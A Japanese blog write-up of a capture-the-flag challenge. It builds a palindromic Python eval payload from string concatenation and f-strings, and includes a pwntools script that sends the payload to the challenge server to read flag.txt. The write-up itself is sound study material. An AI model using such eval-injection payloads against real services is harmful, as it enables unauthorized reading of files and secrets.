えびちゃんの日記

えびちゃん(競プロ)の日記です。

Writeup for Daily AlpacaHack 2026/1/6

Daily AlpacaHack 2026/1/6 の write-up です。

alpacahack.com

まず、#コメントアウトするのが想定解なんだろうと思います。

>>> s = 'print(1+2)#)2+1(tnirp'
>>> assert s == s[::-1]
>>> eval(s)
3

以降は、# を(というかコメントの類の機構を)縛った解法について考えてみます。

Python では*1文字列リテラルを並べて書くことで連結できます (ref)。

>>> assert 'a'"b" == 'ab'

また、f-string (ref) というものがあり、{} 内の式を実行時に評価したものを文字列中に含めることができます。

>>> f'{1+2}'
'3'
>>> f'{print(1+2)}'
3
'None'

前者では 1+2 の値が文字列として得られています。後者では 1+2 の値を出力し、それはそれとして print() の返り値の None が文字列として得られています。 REPL、このへんが若干 confusing で、初心者時代に勘違いしたような記憶があります。

>>> 1+2
3
>>> print(1+2)
3
>>> None
>>> print(None)
None

さておき、"" f"{...}" "}...{" f"" を考えます。"}...{"f-string ではなく STRING であるため、中身がぐちゃぐちゃになっていても問題ありません。また、間を詰めると回文になっていることに注意します。

よって、前半が ""f"{print(1+2)}" となるようにして後半を合わせると次のようになります。

>>> s = '''""f"{print(1+2)}""})2+1(tnirp{"f""'''
>>> s
'""f"{print(1+2)}""})2+1(tnirp{"f""'
>>> assert s == s[::-1]
>>> eval(s)
3
'None})2+1(tnirp{'

print() される内容は 3 のみで、'None...' の部分は REPL 上で見えているだけの値です。 あとは、print(open('flag.txt')) を呼ぶようにすればよいですね。

from pwn import *

p = remote("34.170.146.252", 34185)

s = "{print(open('flag.txt').read())}'"
s = f'''""f"{s}""{s[::-1]}"f""'''
assert s == s[::-1]

p.sendlineafter(b"> ", s.encode())
print(p.recvline(drop=True).decode())

以上です。author の想定別解はこれから読みます。

github.com

*1:他にも C 言語でも同様のことができます。